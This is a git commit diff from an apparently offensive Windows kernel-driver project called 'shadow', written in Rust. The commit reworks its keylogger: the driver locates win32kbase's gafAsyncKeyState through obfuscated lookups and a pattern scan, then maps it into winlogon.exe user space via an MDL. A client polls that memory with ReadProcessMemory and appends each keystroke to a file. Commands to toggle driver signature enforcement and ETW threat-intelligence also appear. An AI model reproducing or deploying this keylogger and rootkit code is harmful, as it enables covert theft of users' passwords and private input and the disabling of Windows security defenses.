feature(driver): remove loop/thread for key state reading, added VAD root offset retrieval

- Removed the loop and thread for reading key states; now the client handles this, as the driver maps the address to user mode.
- Added a function to retrieve the VAD root offset.
- Refactored various parts of the code for clarity and performance.
This commit is contained in:
joaoviictorti
2024-09-27 21:02:48 -03:00
parent 4e8e38d95c
commit f71555748c
25 changed files with 694 additions and 516 deletions

1
.gitignore vendored
View File

@@ -10,5 +10,4 @@ driver/Cargo.lock
driver/src/backup
client/src/modules/memory.rs
driver/src/misc/memory.rs
driver/src/port
backup

147
Cargo.lock generated
View File

@@ -156,19 +156,6 @@ version = "0.7.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1462739cb27611015575c0c11df5df7601141071f07518d56fcc1be504cbec97"
[[package]]
name = "client"
version = "0.1.0"
dependencies = [
"chrono",
"clap",
"colored",
"env_logger",
"log",
"shared",
"windows-sys 0.52.0",
]
[[package]]
name = "colorchoice"
version = "1.0.2"
@@ -191,6 +178,37 @@ version = "0.8.7"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b"
[[package]]
name = "crossbeam-deque"
version = "0.8.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "613f8cc01fe9cf1a3eb3d7f488fd2fa8388403e97039e2f73692932e291a770d"
dependencies = [
"crossbeam-epoch",
"crossbeam-utils",
]
[[package]]
name = "crossbeam-epoch"
version = "0.9.18"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5b82ac4a3c2ca9c3460964f020e1402edd5753411d7737aa39c3714ad1b5420e"
dependencies = [
"crossbeam-utils",
]
[[package]]
name = "crossbeam-utils"
version = "0.8.20"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "22ec99545bb0ed0ea7bb9b8e1e9122ea386ff8a48c0922e43f36d45ab09e0e80"
[[package]]
name = "either"
version = "1.13.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "60b1af1c220855b6ceac025d3f6ecdd2b7c4894bfe9cd9bda4fbb4bc7c0d4cf0"
[[package]]
name = "env_filter"
version = "0.1.2"
@@ -237,7 +255,7 @@ dependencies = [
"iana-time-zone-haiku",
"js-sys",
"wasm-bindgen",
"windows-core",
"windows-core 0.52.0",
]
[[package]]
@@ -330,6 +348,26 @@ dependencies = [
"proc-macro2",
]
[[package]]
name = "rayon"
version = "1.10.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b418a60154510ca1a002a752ca9714984e21e4241e804d32555251faf8b78ffa"
dependencies = [
"either",
"rayon-core",
]
[[package]]
name = "rayon-core"
version = "1.12.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1465873a3dfdaa8ae7cb14b4383657caab0b3e8a0aa9ae8e04b044854c8dfce2"
dependencies = [
"crossbeam-deque",
"crossbeam-utils",
]
[[package]]
name = "regex"
version = "1.10.6"
@@ -359,6 +397,20 @@ version = "0.8.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7a66a03ae7c801facd77a29370b4faec201768915ac14a721ba36f20bc9c209b"
[[package]]
name = "shadow"
version = "0.1.0"
dependencies = [
"chrono",
"clap",
"colored",
"env_logger",
"log",
"shared",
"sysinfo",
"windows-sys 0.52.0",
]
[[package]]
name = "shared"
version = "0.1.0"
@@ -390,6 +442,20 @@ dependencies = [
"unicode-ident",
]
[[package]]
name = "sysinfo"
version = "0.31.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "355dbe4f8799b304b05e1b0f05fc59b2a18d36645cf169607da45bde2f69a1be"
dependencies = [
"core-foundation-sys",
"libc",
"memchr",
"ntapi",
"rayon",
"windows",
]
[[package]]
name = "unicode-ident"
version = "1.0.13"
@@ -479,6 +545,16 @@ version = "0.4.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
[[package]]
name = "windows"
version = "0.57.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "12342cb4d8e3b046f3d80effd474a7a02447231330ef77d71daa6fbc40681143"
dependencies = [
"windows-core 0.57.0",
"windows-targets 0.52.6",
]
[[package]]
name = "windows-core"
version = "0.52.0"
@@ -488,6 +564,49 @@ dependencies = [
"windows-targets 0.52.6",
]
[[package]]
name = "windows-core"
version = "0.57.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d2ed2439a290666cd67ecce2b0ffaad89c2a56b976b736e6ece670297897832d"
dependencies = [
"windows-implement",
"windows-interface",
"windows-result",
"windows-targets 0.52.6",
]
[[package]]
name = "windows-implement"
version = "0.57.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9107ddc059d5b6fbfbffdfa7a7fe3e22a226def0b2608f72e9d552763d3e1ad7"
dependencies = [
"proc-macro2",
"quote",
"syn",
]
[[package]]
name = "windows-interface"
version = "0.57.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "29bee4b38ea3cde66011baa44dba677c432a78593e202392d1e9070cf2a7fca7"
dependencies = [
"proc-macro2",
"quote",
"syn",
]
[[package]]
name = "windows-result"
version = "0.1.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5e383302e8ec8515204254685643de10811af0ed97ea37210dc26fb0032647f8"
dependencies = [
"windows-targets 0.52.6",
]
[[package]]
name = "windows-sys"
version = "0.48.0"

View File

@@ -1,3 +1,3 @@
[workspace]
members = ["client", "shared"]
exclude = ["driver"]
exclude = ["driver"]

View File

@@ -5,12 +5,13 @@ edition = "2021"
[dependencies]
clap = { version = "4.5.6", features = ["derive"] }
windows-sys = { version = "0.52.0", features = ["Win32_Foundation", "Win32_Security", "Win32_Storage_FileSystem", "Win32_System_IO", "Win32_System_Memory", "Win32_System_Threading"] }
windows-sys = { version = "0.52.0", features = ["Win32_Foundation", "Win32_Security", "Win32_Storage_FileSystem", "Win32_System_Diagnostics_Debug", "Win32_System_IO", "Win32_System_Memory", "Win32_System_Threading"] }
shared = { path = "../shared" }
log = "0.4.22"
env_logger = { version = "0.11.5" }
colored = "2.1.0"
chrono = "0.4.38"
sysinfo = "0.31.4"
[features]
mapper = []

View File

@@ -288,13 +288,9 @@ pub enum MisCommands {
/// Operations related to Keylogger.
Keylogger {
/// Stop the keylogger.
#[arg(long)]
stop: bool,
/// Start the keylogger.
#[arg(long)]
start: bool,
/// File path for storing keylogger output
#[arg(long, required = true)]
file: String,
},
/// Operations related to ETWTI.

View File

@@ -1,9 +1,9 @@
use {
cli::*,
log::*,
clap::Parser,
log::*,
shared::ioctls::*,
utils::init_logger,
clap::Parser,
};
use modules::{
misc::Misc,
@@ -21,6 +21,7 @@ use modules::registry::Registry;
mod cli;
mod modules;
#[macro_use]
mod utils;
fn main() {
@@ -117,12 +118,8 @@ fn main() {
misc.dse(IOCTL_ENABLE_DSE, false);
}
}
MisCommands::Keylogger { stop, start } => {
if *start {
misc.keylogger(IOCTL_KEYLOGGER, true);
} else if *stop {
misc.keylogger(IOCTL_KEYLOGGER, false);
}
MisCommands::Keylogger { file } => {
misc.keylogger(IOCTL_KEYLOGGER, file);
}
MisCommands::Etwti { disable, enable } => {
if *enable {

View File

@@ -1,14 +1,33 @@
use {
log::*,
crate::utils::open_driver,
shared::structs::{Keylogger, DSE, ETWTI},
std::{ffi::c_void, mem::size_of, ptr::null_mut},
crate::utils::{
vk_to_char, update_key_state, key_pressed,
get_process_by_name, open_driver,
},
shared::structs::{DSE, ETWTI},
std::{
ffi::c_void, fs::OpenOptions, io::{BufWriter, Write},
mem::size_of, ptr::null_mut, time::Duration
},
windows_sys::Win32::{
System::IO::DeviceIoControl,
Foundation::{CloseHandle, GetLastError, HANDLE},
},
System::{
IO::DeviceIoControl,
Diagnostics::Debug::ReadProcessMemory,
Threading::{OpenProcess, PROCESS_ALL_ACCESS},
},
Foundation::{
INVALID_HANDLE_VALUE, CloseHandle,
GetLastError, HANDLE,
},
}
};
/// Key states.
pub static mut KEY_STATE: [u8; 64] = [0; 64];
pub static mut KEY_PREVIOUS: [u8; 64] = [0; 64];
pub static mut KEY_RECENT: [u8; 64] = [0; 64];
pub struct Misc {
driver_handle: HANDLE,
}
@@ -45,29 +64,61 @@ impl Misc {
}
}
pub fn keylogger(self, ioctl_code: u32, state: bool) {
debug!("Preparing Keylogger structure for {}", if state { "start" } else { "stop" });
let mut keylogger = Keylogger { enable: state };
debug!("Sending DeviceIoControl command to {} Keylogger", if state { "start" } else { "stop" });
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
pub fn keylogger(self, ioctl_code: u32, file: &String) {
unsafe {
let mut address: usize = 0;
let mut return_buffer = 0;
let status = DeviceIoControl(
self.driver_handle,
ioctl_code,
&mut keylogger as *mut _ as *mut c_void,
std::mem::size_of::<Keylogger>() as u32,
null_mut(),
0,
&mut address as *mut _ as *mut c_void,
size_of::<usize>() as u32,
&mut return_buffer,
null_mut(),
)
};
);
if status == 0 {
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
} else {
info!("Keylogger {}", if state { "start" } else { "stop" })
if status == 0 {
error!("DeviceIoControl Failed With Status: 0x{:08X}", GetLastError());
return;
}
let pid = get_process_by_name("winlogon.exe").expect("Error retrieving pid from winlogon.exe");
let h_process = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
if h_process == INVALID_HANDLE_VALUE {
eprintln!("OpenProcess Failed With Error: {}", GetLastError());
return;
}
let file = OpenOptions::new()
.append(true)
.create(true)
.open(file)
.expect("Failed to open or create keylog file");
let mut writer = BufWriter::new(file);
let mut bytes_read = 0;
loop {
core::ptr::copy_nonoverlapping(KEY_STATE.as_ptr(), KEY_PREVIOUS.as_mut_ptr(), 64);
if ReadProcessMemory(h_process, address as *const c_void, KEY_STATE.as_mut_ptr() as _, size_of::<[u8; 64]>() as usize, &mut bytes_read) != 0 {
update_key_state();
for i in 0..256 {
if key_pressed(i as u8) {
let key = vk_to_char(i as u8);
debug!("{key}");
writeln!(writer, "{}", key).expect("Failed to write to file");
writer.flush().expect("Failed to flush file buffer");
}
}
} else {
eprintln!("Failed to read process memory");
}
std::thread::sleep(Duration::from_millis(50));
}
}
}

View File

@@ -7,4 +7,4 @@ pub mod misc;
pub mod module;
pub mod process;
pub mod thread;
pub mod port;
pub mod port;

View File

@@ -0,0 +1,49 @@
use super::VK_CHARS;
use crate::{
is_key_down, set_key_down,
modules::misc::{KEY_PREVIOUS, KEY_RECENT, KEY_STATE}
};
/// Updates the status of the keys.
pub unsafe fn update_key_state() {
for i in 0..256 {
if is_key_down!(KEY_STATE, i) && !(is_key_down!(KEY_PREVIOUS, i)) {
set_key_down!(KEY_RECENT, i, true);
}
}
}
/// Checks if a key has been pressed.
///
/// # Parameters
///
/// - `key`: The key code.
///
/// # Returns
///
/// - `bool`: if the key was pressed, otherwise `false`.
///
pub unsafe fn key_pressed(key: u8) -> bool {
let result = is_key_down!(KEY_RECENT, key);
set_key_down!(KEY_RECENT, key, false);
result
}
/// Converts a virtual key code to a character.
///
/// # Parameters
///
/// - `key`: The code for the virtual key.
///
/// # Returns
///
/// - `&'static str`: A string representing the character corresponding to the code of the virtual key.
///
pub fn vk_to_char(key: u8) -> &'static str {
for &(vk, char) in &VK_CHARS {
if vk == key {
return char;
}
}
"UNKNOWN"
}

View File

@@ -17,7 +17,7 @@ macro_rules! get_ks_down_bit {
#[macro_export]
macro_rules! is_key_down {
($ks:expr, $vk:expr) => {
($ks[get_ks_byte!($vk)] & get_ks_down_bit!($vk)) != 0
($ks[$crate::get_ks_byte!($vk)] & $crate::get_ks_down_bit!($vk)) != 0
};
}
@@ -25,9 +25,9 @@ macro_rules! is_key_down {
macro_rules! set_key_down {
($ks:expr, $vk:expr, $down:expr) => {
if $down {
$ks[get_ks_byte!($vk)] |= get_ks_down_bit!($vk);
$ks[$crate::get_ks_byte!($vk)] |= $crate::get_ks_down_bit!($vk);
} else {
$ks[get_ks_byte!($vk)] &= !get_ks_down_bit!($vk);
$ks[$crate::get_ks_byte!($vk)] &= !$crate::get_ks_down_bit!($vk);
}
};
}

View File

@@ -2,6 +2,7 @@ use {
log::*,
colored::Colorize,
env_logger::Builder,
sysinfo::System,
std::{path::Path, ptr::null_mut, io::Write},
windows_sys::{
w,
@@ -18,6 +19,10 @@ use {
},
};
pub mod macros;
pub mod keylogger;
pub use keylogger::*;
pub const BANNER: &str = r#"
_____ __ __
/ ___// /_ ____ _____/ /___ _ __
@@ -122,6 +127,29 @@ pub fn validate_sys_extension(val: &str) -> Result<String, String> {
}
}
/// Searches for the process ID (PID) of a running process by name.
///
/// # Parameters
///
/// - `name`: A reference to a string containing the name of the process to be searched.
///
/// # Return
///
/// -`Option<u32>`: Returns the PID of the process found, or `None` if no process with the specified name is found.
///
pub fn get_process_by_name(name: &str) -> Option<u32> {
let mut system = System::new_all();
system.refresh_all();
for (pid, process) in system.processes() {
if process.name() == name {
return Some(pid.as_u32());
}
}
None
}
/// Enum representing different callbacks in the system.
#[derive(clap::ValueEnum, Clone, Debug, Copy)]
pub enum Callbacks {
@@ -231,3 +259,160 @@ impl PortType {
}
}
}
/// Mapping virtual key codes to characters.
pub const VK_CHARS: [(u8, &'static str); 153] = [
(0x01, "LEFT MOUSE BUTTON"),
(0x02, "RIGTH MOUSE BUTTON"),
(0x03, "CANCEL"),
(0x04, "MIDDLE MOUSE BUTTON"),
(0x05, "X1 MOUSE BUTTON"),
(0x06, "X2 MOUSE BUTTON"),
(0x08, "BACKSPACE"),
(0x09, "TAB"),
(0x0C, "CLEAR"),
(0x0D, "ENTER"),
(0x10, "SHIFT"),
(0x11, "CONTROL"),
(0x12, "ALT"),
(0x13, "PAUSE"),
(0x14, "CAPS LOCK"),
(0x1B, "ESCAPE"),
(0x20, "SPACEBAR"),
(0x21, "PAGE UP"),
(0x22, "PAGE DOWN"),
(0x23, "END"),
(0x24, "HOME"),
(0x25, "LEFT ARROW"),
(0x26, "UP ARROW"),
(0x27, "RIGHT ARROW"),
(0x28, "DOWN ARROW"),
(0x29, "SELECT"),
(0x2A, "PRINT"),
(0x2B, "EXECUTE"),
(0x2C, "PRINT SCREEN"),
(0x2D, "INSERT"),
(0x2E, "DELETE"),
(0x2F, "HELP"),
(0x5B, "LEFT WINDOWS"),
(0x5C, "RIGHT WINDOWS"),
(0x5D, "APPLICATIONS"),
(0x5F, "SLEEP"),
(0x60, "NUMPAD 0"),
(0x61, "NUMPAD 1"),
(0x62, "NUMPAD 2"),
(0x63, "NUMPAD 3"),
(0x64, "NUMPAD 4"),
(0x65, "NUMPAD 5"),
(0x66, "NUMPAD 6"),
(0x67, "NUMPAD 7"),
(0x68, "NUMPAD 8"),
(0x69, "NUMPAD 9"),
(0x6A, "NUMPAD *"),
(0x6B, "NUMPAD +"),
(0x6C, "SEPARATOR"),
(0x6D, "NUMPAD -"),
(0x6E, "NUMPAD ."),
(0x6F, "NUMPAD /"),
(0x70, "F1"),
(0x71, "F2"),
(0x72, "F3"),
(0x73, "F4"),
(0x74, "F5"),
(0x75, "F6"),
(0x76, "F7"),
(0x77, "F8"),
(0x78, "F9"),
(0x79, "F10"),
(0x7A, "F11"),
(0x7B, "F12"),
(0x7C, "F13"),
(0x7D, "F14"),
(0x7E, "F15"),
(0x7F, "F16"),
(0x80, "F17"),
(0x81, "F18"),
(0x82, "F19"),
(0x83, "F20"),
(0x84, "F21"),
(0x85, "F22"),
(0x86, "F23"),
(0x87, "F24"),
(0x90, "NUM LOCK"),
(0x91, "SCROLL LOCK"),
(0xA6, "BROWSER BACK"),
(0xA7, "BROWSER FORWARD"),
(0xA8, "BROWSER REFRESH"),
(0xA9, "BROWSER STOP"),
(0xAA, "BROWSER SEARCH"),
(0xAB, "BROWSER FAVORITES"),
(0xAC, "BROWSER HOME"),
(0xAD, "VOLUME MUTE"),
(0xAE, "VOLUME DOWN"),
(0xAF, "VOLUME UP"),
(0xB0, "MEDIA NEXT TRACK"),
(0xB1, "MEDIA PREVIOUS TRACK"),
(0xB2, "MEDIA STOP"),
(0xB3, "MEDIA PLAY/PAUSE"),
(0xB4, "LAUNCH MAIL"),
(0xB5, "MEDIA SELECT"),
(0xB6, "LAUNCH APPLICATION 1"),
(0xB7, "LAUNCH APPLICATION 2"),
(0xBA, "OEM 1"),
(0xBB, "OEM +"),
(0xBC, "OEM ,"),
(0xBD, "OEM -"),
(0xBE, "OEM ."),
(0xBF, "OEM 2"),
(0xC0, "OEM 3"),
(0xDB, "OEM 4"),
(0xDC, "OEM 5"),
(0xDD, "OEM 6"),
(0xDE, "OEM 7"),
(0xDF, "OEM 8"),
(0xE2, "OEM 102"),
(0xE5, "IME PROCESS"),
(0xE7, "PACKET"),
(0xF6, "ATTN"),
(0xF7, "CRSEL"),
(0xF8, "EXSEL"),
(0xF9, "EREOF"),
(0xFA, "PLAY"),
(0xFB, "ZOOM"),
(0x30, "0"),
(0x31, "1"),
(0x32, "2"),
(0x33, "3"),
(0x34, "4"),
(0x35, "5"),
(0x36, "6"),
(0x37, "7"),
(0x38, "8"),
(0x39, "9"),
(0x41, "A"),
(0x42, "B"),
(0x43, "C"),
(0x44, "D"),
(0x45, "E"),
(0x46, "F"),
(0x47, "G"),
(0x48, "H"),
(0x49, "I"),
(0x4A, "J"),
(0x4B, "K"),
(0x4C, "L"),
(0x4D, "M"),
(0x4E, "N"),
(0x4F, "O"),
(0x50, "P"),
(0x51, "Q"),
(0x52, "R"),
(0x53, "S"),
(0x54, "T"),
(0x55, "U"),
(0x56, "V"),
(0x57, "W"),
(0x58, "X"),
(0x59, "Y"),
(0x5A, "Z"),
];

View File

@@ -8,11 +8,16 @@ extern crate alloc;
use {
utils::uni,
port::Port,
core::ptr::null_mut,
kernel_log::KernelLogger,
crate::utils::ioctls::IOCTL_MAP,
misc::keylogger::{keylogger, SHUTDOWN},
wdk_sys::{ntddk::*, _MODE::KernelMode, *}
wdk_sys::{ntddk::*, _MODE::KernelMode, *},
core::{ptr::null_mut, sync::atomic::Ordering},
crate::{
port::HOOK_INSTALLED,
utils::{
offsets::BUILD_NUMBER,
ioctls::IOCTL_MAP, get_windows_build_number,
}
},
};
#[cfg(not(feature = "mapper"))]
@@ -128,17 +133,6 @@ pub unsafe extern "system" fn shadow_entry(
return status;
}
let mut h_thread: HANDLE = core::ptr::null_mut();
status = PsCreateSystemThread(
&mut h_thread,
THREAD_ALL_ACCESS,
null_mut(),
null_mut(),
null_mut(),
Some(keylogger),
null_mut(),
);
if !NT_SUCCESS(status) {
IoDeleteDevice(device_object);
log::error!("PsCreateSystemThread Failed With Status: {status}");
@@ -158,7 +152,7 @@ pub unsafe extern "system" fn shadow_entry(
}
}
let status = unsafe { Port::install_hook() };
BUILD_NUMBER = get_windows_build_number();
STATUS_SUCCESS
}
@@ -225,19 +219,15 @@ pub unsafe extern "C" fn driver_close(_device_object: *mut DEVICE_OBJECT, irp: *
pub unsafe extern "C" fn driver_unload(driver_object: *mut DRIVER_OBJECT) {
log::info!("Unloading driver");
SHUTDOWN = true;
if HOOK_INSTALLED.load(Ordering::Relaxed) {
let hook_status = Port::uninstall_hook();
let mut interval = LARGE_INTEGER {
QuadPart: -50 * 1000_i64 * 1000_i64,
};
let hook_status = Port::uninstall_hook();
if !NT_SUCCESS(hook_status) {
log::error!("Failed to uninstall hook before unload");
KeDelayExecutionThread(KernelMode as i8, 0, &mut interval);
}
let mut interval = LARGE_INTEGER {
QuadPart: -50 * 1000_i64 * 1000_i64,
};
KeDelayExecutionThread(KernelMode as i8, 0, &mut interval);
let dos_device_name = uni::str_to_unicode(DOS_DEVICE_NAME);
IoDeleteSymbolicLink(&mut dos_device_name.to_unicode());
IoDeleteDevice((*driver_object).DeviceObject);
@@ -248,12 +238,6 @@ pub unsafe extern "C" fn driver_unload(driver_object: *mut DRIVER_OBJECT) {
CmUnRegisterCallback(CALLBACK_REGISTRY);
}
let mut interval = LARGE_INTEGER {
QuadPart: -1 * -(50 * 1000_i64),
};
KeDelayExecutionThread(KernelMode as i8, 0, &mut interval);
log::info!("Shadow Unload");
}

View File

@@ -1,11 +1,13 @@
use {
alloc::boxed::Box,
hashbrown::HashMap,
super::keylogger::set_keylogger_state,
shared::structs::{Keylogger, DSE, ETWTI},
wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS},
shared::ioctls::{IOCTL_ENABLE_DSE, IOCTL_KEYLOGGER, IOCTL_ETWTI},
crate::{handle, misc::{etwti::Etw, dse::Dse}, utils::ioctls::IoctlHandler},
super::keylogger::{get_user_address_keylogger, USER_ADDRESS},
wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS, STATUS_UNSUCCESSFUL},
crate::{handle, misc::{dse::Dse, etwti::Etw}, utils::ioctls::IoctlHandler},
shared::{
ioctls::{IOCTL_ENABLE_DSE, IOCTL_ETWTI, IOCTL_KEYLOGGER},
structs::{DSE, ETWTI}
},
};
/// Registers the IOCTL handlers for misc-related operations.
@@ -30,12 +32,25 @@ pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
}
}) as IoctlHandler);
// Start / Stop Keylogger
// Start Keylogger
ioctls.insert(IOCTL_KEYLOGGER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
let status = unsafe { handle!(stack, set_keylogger_state, Keylogger) };
unsafe { (*irp).IoStatus.Information = 0 };
unsafe {
if USER_ADDRESS == 0 {
USER_ADDRESS = match get_user_address_keylogger() {
Some(addr) => addr as usize,
None => return STATUS_UNSUCCESSFUL,
};
}
let output_buffer = (*irp).AssociatedIrp.SystemBuffer;
if !output_buffer.is_null() {
*(output_buffer as *mut usize) = USER_ADDRESS;
}
(*irp).IoStatus.Information = core::mem::size_of::<usize>() as u64;
}
status
STATUS_SUCCESS
}) as IoctlHandler);
// Responsible for enabling/disabling ETWTI.

View File

@@ -0,0 +1,80 @@
use {
obfstr::obfstr,
core::{mem::size_of, ptr::null_mut, ffi::c_void},
crate::{
process::Process,
utils::{
process_attach::ProcessAttach,
get_process_by_name, patterns::scan_for_pattern,
address::{get_address_asynckey, get_module_base_address},
}
},
wdk_sys::{
ntddk::{
IoAllocateMdl, IoFreeMdl, MmBuildMdlForNonPagedPool,
MmMapLockedPagesSpecifyCache, MmIsAddressValid
},
_MEMORY_CACHING_TYPE::MmCached,
_MM_PAGE_PRIORITY::NormalPagePriority,
_MODE::UserMode, PEPROCESS
}
};
/// Variable holding a user space address for keylogger functionality.
pub static mut USER_ADDRESS: usize = 0;
/// Retrieves the address of gafAsyncKeyState and maps it to the user mode of winlogon.exe.
///
/// # Return
///
/// - `Option<*mut c_void>`: If successful, the address will be returned as Some, if not found, it will be returned as None.
///
pub unsafe fn get_user_address_keylogger() -> Option<*mut c_void> {
let pid = get_process_by_name(obfstr!("winlogon.exe"))?;
let winlogon_process = Process::new(pid)?;
let gaf_async_key_state_address = get_gafasynckeystate_address(pid, winlogon_process.e_process)?;
let attach_process = ProcessAttach::new(winlogon_process.e_process);
// Check that the address is valid
if MmIsAddressValid(gaf_async_key_state_address as *mut c_void) == 0 {
log::info!("Invalid or pagable gafAsyncKeyState address");
return None;
}
// Allocates the MDL to memory
let mdl = IoAllocateMdl(gaf_async_key_state_address as _, size_of::<[u8; 64]>() as u32, 0, 0, null_mut());
if mdl.is_null() {
log::info!("IoAllocateMdl Failed");
return None;
}
MmBuildMdlForNonPagedPool(mdl);
// Maps memory to user space
let address = MmMapLockedPagesSpecifyCache(mdl, UserMode as i8, MmCached, null_mut(), 0, NormalPagePriority as u32);
if address.is_null() {
log::info!("MmMapLockedPagesSpecifyCache Failed");
IoFreeMdl(mdl);
return None;
}
Some(address)
}
/// Get the address of the `gafAsyncKeyState` array.
///
/// # Returns
///
/// `Option<PVOID>`: The address of the `gafAsyncKeyState` array if found, otherwise `None`.
///
unsafe fn get_gafasynckeystate_address(pid: usize, process: PEPROCESS) -> Option<*mut u8> {
let winlogon_eprocess = Process::new(pid)?;
let module_address = get_module_base_address(obfstr!("win32kbase.sys"))?;
let function_address = get_address_asynckey(obfstr!("NtUserGetAsyncKeyState"), module_address)?;
let attach_process = ProcessAttach::new(winlogon_eprocess.e_process);
// fffff4e1`18e41bae 48 8b 05 0b 4d 20 00 mov rax,qword ptr [win32kbase!gafAsyncKeyState (fffff4e1`190468c0)]
// fffff4e1`18e41bb5 48 89 81 80 00 00 00 mov qword ptr [rcx+80h],rax
let pattern = [0x48, 0x8B, 0x05];
scan_for_pattern(function_address, &pattern, 3, 7, 0x200, i32::from_le_bytes)
}

View File

@@ -1,156 +0,0 @@
/// Mapping virtual key codes to characters.
pub const VK_CHARS: [(u8, &'static str); 153] = [
(0x01, "LEFT MOUSE BUTTON"),
(0x02, "RIGTH MOUSE BUTTON"),
(0x03, "CANCEL"),
(0x04, "MIDDLE MOUSE BUTTON"),
(0x05, "X1 MOUSE BUTTON"),
(0x06, "X2 MOUSE BUTTON"),
(0x08, "BACKSPACE"),
(0x09, "TAB"),
(0x0C, "CLEAR"),
(0x0D, "ENTER"),
(0x10, "SHIFT"),
(0x11, "CONTROL"),
(0x12, "ALT"),
(0x13, "PAUSE"),
(0x14, "CAPS LOCK"),
(0x1B, "ESCAPE"),
(0x20, "SPACEBAR"),
(0x21, "PAGE UP"),
(0x22, "PAGE DOWN"),
(0x23, "END"),
(0x24, "HOME"),
(0x25, "LEFT ARROW"),
(0x26, "UP ARROW"),
(0x27, "RIGHT ARROW"),
(0x28, "DOWN ARROW"),
(0x29, "SELECT"),
(0x2A, "PRINT"),
(0x2B, "EXECUTE"),
(0x2C, "PRINT SCREEN"),
(0x2D, "INSERT"),
(0x2E, "DELETE"),
(0x2F, "HELP"),
(0x5B, "LEFT WINDOWS"),
(0x5C, "RIGHT WINDOWS"),
(0x5D, "APPLICATIONS"),
(0x5F, "SLEEP"),
(0x60, "NUMPAD 0"),
(0x61, "NUMPAD 1"),
(0x62, "NUMPAD 2"),
(0x63, "NUMPAD 3"),
(0x64, "NUMPAD 4"),
(0x65, "NUMPAD 5"),
(0x66, "NUMPAD 6"),
(0x67, "NUMPAD 7"),
(0x68, "NUMPAD 8"),
(0x69, "NUMPAD 9"),
(0x6A, "NUMPAD *"),
(0x6B, "NUMPAD +"),
(0x6C, "SEPARATOR"),
(0x6D, "NUMPAD -"),
(0x6E, "NUMPAD ."),
(0x6F, "NUMPAD /"),
(0x70, "F1"),
(0x71, "F2"),
(0x72, "F3"),
(0x73, "F4"),
(0x74, "F5"),
(0x75, "F6"),
(0x76, "F7"),
(0x77, "F8"),
(0x78, "F9"),
(0x79, "F10"),
(0x7A, "F11"),
(0x7B, "F12"),
(0x7C, "F13"),
(0x7D, "F14"),
(0x7E, "F15"),
(0x7F, "F16"),
(0x80, "F17"),
(0x81, "F18"),
(0x82, "F19"),
(0x83, "F20"),
(0x84, "F21"),
(0x85, "F22"),
(0x86, "F23"),
(0x87, "F24"),
(0x90, "NUM LOCK"),
(0x91, "SCROLL LOCK"),
(0xA6, "BROWSER BACK"),
(0xA7, "BROWSER FORWARD"),
(0xA8, "BROWSER REFRESH"),
(0xA9, "BROWSER STOP"),
(0xAA, "BROWSER SEARCH"),
(0xAB, "BROWSER FAVORITES"),
(0xAC, "BROWSER HOME"),
(0xAD, "VOLUME MUTE"),
(0xAE, "VOLUME DOWN"),
(0xAF, "VOLUME UP"),
(0xB0, "MEDIA NEXT TRACK"),
(0xB1, "MEDIA PREVIOUS TRACK"),
(0xB2, "MEDIA STOP"),
(0xB3, "MEDIA PLAY/PAUSE"),
(0xB4, "LAUNCH MAIL"),
(0xB5, "MEDIA SELECT"),
(0xB6, "LAUNCH APPLICATION 1"),
(0xB7, "LAUNCH APPLICATION 2"),
(0xBA, "OEM 1"),
(0xBB, "OEM +"),
(0xBC, "OEM ,"),
(0xBD, "OEM -"),
(0xBE, "OEM ."),
(0xBF, "OEM 2"),
(0xC0, "OEM 3"),
(0xDB, "OEM 4"),
(0xDC, "OEM 5"),
(0xDD, "OEM 6"),
(0xDE, "OEM 7"),
(0xDF, "OEM 8"),
(0xE2, "OEM 102"),
(0xE5, "IME PROCESS"),
(0xE7, "PACKET"),
(0xF6, "ATTN"),
(0xF7, "CRSEL"),
(0xF8, "EXSEL"),
(0xF9, "EREOF"),
(0xFA, "PLAY"),
(0xFB, "ZOOM"),
(0x30, "0"),
(0x31, "1"),
(0x32, "2"),
(0x33, "3"),
(0x34, "4"),
(0x35, "5"),
(0x36, "6"),
(0x37, "7"),
(0x38, "8"),
(0x39, "9"),
(0x41, "A"),
(0x42, "B"),
(0x43, "C"),
(0x44, "D"),
(0x45, "E"),
(0x46, "F"),
(0x47, "G"),
(0x48, "H"),
(0x49, "I"),
(0x4A, "J"),
(0x4B, "K"),
(0x4C, "L"),
(0x4D, "M"),
(0x4E, "N"),
(0x4F, "O"),
(0x50, "P"),
(0x51, "Q"),
(0x52, "R"),
(0x53, "S"),
(0x54, "T"),
(0x55, "U"),
(0x56, "V"),
(0x57, "W"),
(0x58, "X"),
(0x59, "Y"),
(0x5A, "Z"),
];

View File

@@ -1,217 +0,0 @@
use {
obfstr::obfstr,
keys::VK_CHARS,
shared::structs::Keylogger,
core::{ffi::c_void, mem::size_of},
crate::{
get_ks_byte,
get_ks_down_bit,
is_key_down,
set_key_down,
process::Process,
internals::externs::MmCopyVirtualMemory,
utils::{
address::{get_address_asynckey, get_module_base_address},
get_process_by_name,
patterns::scan_for_pattern,
process_attach::ProcessAttach,
},
},
wdk_sys::{
ntddk::{
IoGetCurrentProcess,
KeDelayExecutionThread,
PsTerminateSystemThread,
},
LARGE_INTEGER,
NTSTATUS,
STATUS_SUCCESS,
_MODE::KernelMode,
},
};
